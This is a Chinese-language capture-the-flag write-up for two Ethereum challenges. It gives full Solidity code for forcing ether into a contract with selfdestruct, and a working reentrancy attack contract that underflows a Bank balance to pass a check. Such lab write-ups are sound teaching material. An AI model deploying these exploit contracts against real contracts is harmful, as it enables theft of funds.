NewStarCTF Blockchain Week4 wp

两道关于自毁转账和重入攻击的题目。

Demolition Trucks

题目合约源码：

pragma solidity ^0.4.23;

contract Trucks {
    constructor() public{
    }

    event isSolved();

    function getBalance() public view returns (uint256){
        return address(this).balance;
    }

    function payforflag() public returns (bool){
        address _to = 0x498d4BAddD959314591Dc14cb10790e8Df68b1b1;
        require(address(this).balance>0);
        emit isSolved();
        _to.transfer(address(this).balance);

    }
}

题目要求合约地址的balance大于0，而我们通过题目系统创建的合约初始ether是为0的。一开始以为直接向合约里转一点ether就好，然而交易总是失败。上网查了会儿才知道合约接收转账需要payable fallback函数。题目合约里没有，这条路也就行不通了。

然后猜想题目名“自爆卡车”会不会是提示，搜了一会儿发现确实有一种自毁转账的方法。通过合约自毁强行给目标合约地址转账。

自毁方法如下：

pragma solidity ^0.4.23;

contract burn {

	function kill() public payable {
    	selfdestruct(address(0xD2933ff4797D3e97240002F501eC2985047a9930));
	}
}

这里address是接收转账的目标合约地址。将以上合约进行部署，并调用kill函数。

可以看到题目合约上确实多了一点ether

然后直接调用题目合约中的payforflag即可。

baby bank

合约源码：

pragma solidity ^0.4.23;

contract Bank{
    mapping (address => uint) public balance;
    event Received(address Sender, uint Value);
    event isSolved();
    uint public chance;

    constructor() public {
        chance = 1;
    }

    function() external payable {
        emit Received(msg.sender, msg.value);
    }

    function gift() public {
        require(chance==1);
        balance[msg.sender] = 2;
        chance=0;
    }

    function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount)();
        balance[msg.sender] -= amount;
    }

    function payforflag() public {
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        chance=1;
        emit isSolved();
        address _to = 0x498d4BAddD959314591Dc14cb10790e8Df68b1b1;
        _to.transfer(address(this).balance);
    }

}

withdraw函数存在重入攻击漏洞。函数中先进行转账，后对变量的值进行修改。而如果转账的目标是一个合约地址，则会调用合约中的fallback函数，而攻击者则可以通过自己编写的fallback函数反复调用bank中的withdraw从而取走bank中的所有钱。

然而在本题中，我们的目标是使得调用者在bank中的balance为一个很大的值。这里可以借助withdraw函数中存在的下溢出漏洞完成。balance通过gift初始化为2，每次调用withdraw会减2，第二次调用时由于uint无符号数的特性，0-2会下溢出成一个很大的正数，从而能通过目标函数的检查。

该题操作过程如下。

首先在系统中获取目标合约（也就是被攻击的bank）地址，该合约初始是没有ether的，我们需要借助上一题里自毁的方法（操作过程见上题，不再赘述）向该合约中转一点币以保证后面转账能够顺利进行。

然后编写攻击合约：

pragma solidity ^0.4.23;

import "./Example.sol";

contract Attack{
    Bank b;
    bool tag;

    constructor() public{
        b=Bank(0x81d99556781BAD40ab1A56a9b84d9fE5a3a3f91A);
        tag=false;
    }

    function attack() public{
        b.gift();
        b.withdraw(2);
    }

    function getflag() public{
        b.payforflag();
    }

    function() public payable{
        require(tag==false);
        tag=true;
        b.withdraw(2);
    }
}

该合约中，攻击通过attack实施。先调用gift初始化bank中的balance为2，然后调用withdraw，在withdraw的转账过程中会默认调用攻击合约的fallback函数（也就是合约中无函数名的函数），从而再次withdraw重入。合约中使用了tag限制重入次数为2，即下溢出后就中止调用。

部署该攻击合约，调用attack，成功后可在bank中查到攻击合约的balance已经下溢出为一个很大的数了（实际上为）。

最后调用攻击合约中的getflag即可。将交易hash提交到系统中获取flag。